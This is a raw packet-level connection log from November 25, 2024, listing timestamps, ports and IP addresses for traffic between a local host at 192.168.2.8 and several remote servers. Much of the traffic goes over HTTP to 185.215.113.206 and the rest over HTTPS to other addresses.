Nov 25, 2024 12:08:41.896811008 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:41.896877050 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:41.923573971 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 12:08:42.016624928 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:42.016850948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:42.016860962 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:42.016868114 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:42.140588999 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.140614033 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.140669107 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.140688896 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.140754938 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.208925009 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 12:08:42.209158897 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 12:08:42.209222078 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 12:08:42.210664988 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 12:08:42.210664988 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 12:08:42.210679054 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 12:08:42.210733891 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 12:08:42.255466938 CET	49749	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:42.255507946 CET	443	49749	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:42.255574942 CET	49749	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:42.255773067 CET	49749	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:42.255789995 CET	443	49749	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:42.260006905 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.260016918 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.260051012 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.260071993 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.260088921 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.260102987 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.260137081 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.381939888 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.381970882 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.381992102 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.382038116 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.382040024 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.382062912 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.382075071 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.382083893 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.382100105 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.382114887 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.382117987 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.382157087 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.417196035 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.417207003 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.417232037 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.417243004 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.417253971 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.417262077 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.417290926 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.417313099 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.417329073 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.417329073 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.544953108 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.544965982 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.544994116 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.545005083 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.545022964 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.545039892 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.545066118 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.545106888 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.545203924 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.545257092 CET	443	49733	52.123.243.184	192.168.2.8
Nov 25, 2024 12:08:42.545320034 CET	49733	443	192.168.2.8	52.123.243.184
Nov 25, 2024 12:08:42.751930952 CET	443	49741	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:42.752007961 CET	49741	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:42.970561028 CET	49741	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:42.970590115 CET	443	49741	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:42.971590996 CET	443	49741	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:42.973016977 CET	49741	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:42.973153114 CET	49741	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:42.973186970 CET	443	49741	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:43.283102036 CET	49749	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:43.284302950 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:43.284346104 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:43.284452915 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:43.287975073 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:43.287986994 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:43.327336073 CET	443	49749	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:43.525811911 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:43.525927067 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:43.604547024 CET	49764	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:43.604579926 CET	443	49764	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:43.604645967 CET	49764	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:43.604877949 CET	49764	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:43.604892015 CET	443	49764	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:43.605134010 CET	49765	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:43.605155945 CET	443	49765	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:43.605215073 CET	49765	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:43.605424881 CET	49765	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:43.605437994 CET	443	49765	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:43.607378006 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:43.608942986 CET	49766	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:43.608954906 CET	443	49766	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:43.609128952 CET	49766	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:43.610336065 CET	49766	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:43.610347033 CET	443	49766	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:43.727294922 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:43.760495901 CET	443	49741	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:43.760533094 CET	443	49741	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:43.760572910 CET	443	49741	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:43.760613918 CET	49741	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:43.760633945 CET	443	49741	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:43.760648012 CET	49741	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:43.760658026 CET	443	49741	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:43.760701895 CET	49741	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:43.761548996 CET	49741	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:43.761564970 CET	443	49741	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:43.761574030 CET	49741	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:43.761579037 CET	443	49741	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:43.873191118 CET	49767	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:43.873226881 CET	443	49767	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:43.873291969 CET	49767	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:43.873466015 CET	49767	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:43.873478889 CET	443	49767	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:44.152959108 CET	443	49749	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:44.153074980 CET	443	49749	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:44.153127909 CET	49749	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:44.153152943 CET	49749	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:44.282037020 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.282072067 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:44.282150984 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.282530069 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.282547951 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:44.359739065 CET	49769	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.359787941 CET	443	49769	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:44.359869957 CET	49769	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.360451937 CET	49769	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.360471964 CET	443	49769	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:44.398983955 CET	49770	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:44.399034023 CET	443	49770	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:44.399194956 CET	49770	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:44.399477959 CET	49770	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:44.399490118 CET	443	49770	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:44.550756931 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:44.550837040 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:44.873306990 CET	443	49765	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:44.876971960 CET	49765	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:44.876983881 CET	443	49765	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:44.878829002 CET	443	49765	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:44.878920078 CET	49765	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:44.883116007 CET	49765	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:44.883225918 CET	443	49765	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:44.883316040 CET	49765	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:44.910465956 CET	443	49764	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:44.910681009 CET	49764	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.910701990 CET	443	49764	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:44.913064957 CET	443	49766	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:44.913311005 CET	49766	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.913320065 CET	443	49766	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:44.914267063 CET	443	49764	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:44.914340019 CET	49764	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.914812088 CET	443	49766	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:44.914861917 CET	49766	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.915354967 CET	49764	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.915517092 CET	443	49764	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:44.915673971 CET	49764	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.915679932 CET	443	49764	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:44.916469097 CET	49766	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.916594028 CET	49766	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:44.916599989 CET	443	49766	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:44.927330971 CET	443	49765	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:44.959358931 CET	443	49766	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.018162966 CET	49765	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.018172979 CET	443	49765	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.018203020 CET	49766	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.018213034 CET	443	49766	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.075232983 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.123363018 CET	443	49764	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.123449087 CET	49764	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.123677015 CET	49765	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.123691082 CET	49766	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.194905996 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.237787962 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:45.238152027 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:45.238174915 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:45.238683939 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:45.238701105 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:45.238768101 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:45.238775969 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:45.238820076 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:45.239476919 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:45.240751028 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:45.241054058 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:45.241631031 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:45.241637945 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:45.307348967 CET	443	49765	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.307553053 CET	443	49765	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.307626009 CET	49765	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.307946920 CET	49765	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.307959080 CET	443	49765	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.330787897 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:45.364273071 CET	443	49764	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.364447117 CET	443	49764	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.364528894 CET	49764	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.364651918 CET	49764	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.364667892 CET	443	49764	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.368179083 CET	443	49766	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.368261099 CET	443	49766	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.368407965 CET	49766	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.368485928 CET	49766	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.368490934 CET	443	49766	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.455535889 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:45.455569983 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:45.455651045 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:45.455899954 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:45.455914021 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:45.529458046 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.529530048 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.529531956 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.529544115 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.529582977 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.529623985 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.529707909 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.529716969 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.529742956 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.529772043 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.530195951 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.530206919 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.530216932 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.530263901 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.530291080 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.537853003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.537947893 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.538009882 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.615031004 CET	443	49769	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.616264105 CET	49769	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.616286039 CET	443	49769	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.617160082 CET	443	49769	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.617217064 CET	49769	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.623104095 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.631067038 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.631083965 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.631720066 CET	49769	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.631803036 CET	443	49769	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.632194996 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.632240057 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.632368088 CET	49769	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.632390976 CET	443	49769	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.632975101 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.633044004 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.653597116 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.653611898 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.653687954 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.672418118 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.672426939 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.674022913 CET	49769	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.674078941 CET	443	49769	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:45.674194098 CET	49769	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.697289944 CET	443	49770	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.697554111 CET	49770	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.697567940 CET	443	49770	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.699181080 CET	443	49770	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.699261904 CET	49770	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.699690104 CET	49770	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.699757099 CET	443	49770	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.699816942 CET	49770	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.720185995 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:45.730743885 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.730813980 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.730853081 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.730921984 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.734843969 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.734894991 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.734930038 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.734972954 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.743326902 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.743374109 CET	443	49770	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.743424892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.743434906 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.743468046 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.751156092 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.751240015 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.751288891 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.751379967 CET	49770	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.751410961 CET	443	49770	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.751455069 CET	49770	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.759326935 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.759380102 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.759414911 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.759470940 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.766525030 CET	443	49767	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:45.767442942 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.767492056 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.767554045 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.767596006 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.768241882 CET	49767	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:45.768268108 CET	443	49767	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:45.768950939 CET	49767	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:45.768955946 CET	443	49767	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:45.768989086 CET	49767	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:45.768995047 CET	443	49767	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:45.775595903 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.775677919 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.775712013 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.775751114 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.783829927 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.783885956 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.783912897 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.783953905 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.792054892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.792107105 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.792166948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.792251110 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.800185919 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.800240040 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.800267935 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.800324917 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.808379889 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.808427095 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.854707956 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.854780912 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.854793072 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.854841948 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.858865023 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.858966112 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.927573919 CET	49773	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.927613974 CET	443	49773	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.927719116 CET	49773	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.928389072 CET	49774	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.928440094 CET	443	49774	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.928504944 CET	49774	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.928587914 CET	49773	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.928601980 CET	443	49773	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.928766966 CET	49774	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:45.928783894 CET	443	49774	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:45.931619883 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:45.931821108 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.931884050 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.931922913 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.932012081 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.934353113 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.934406042 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.935381889 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.935431957 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.935436010 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:45.935478926 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:45.936022997 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:45.936109066 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:45.936127901 CET	443	49756	172.217.19.225	192.168.2.8
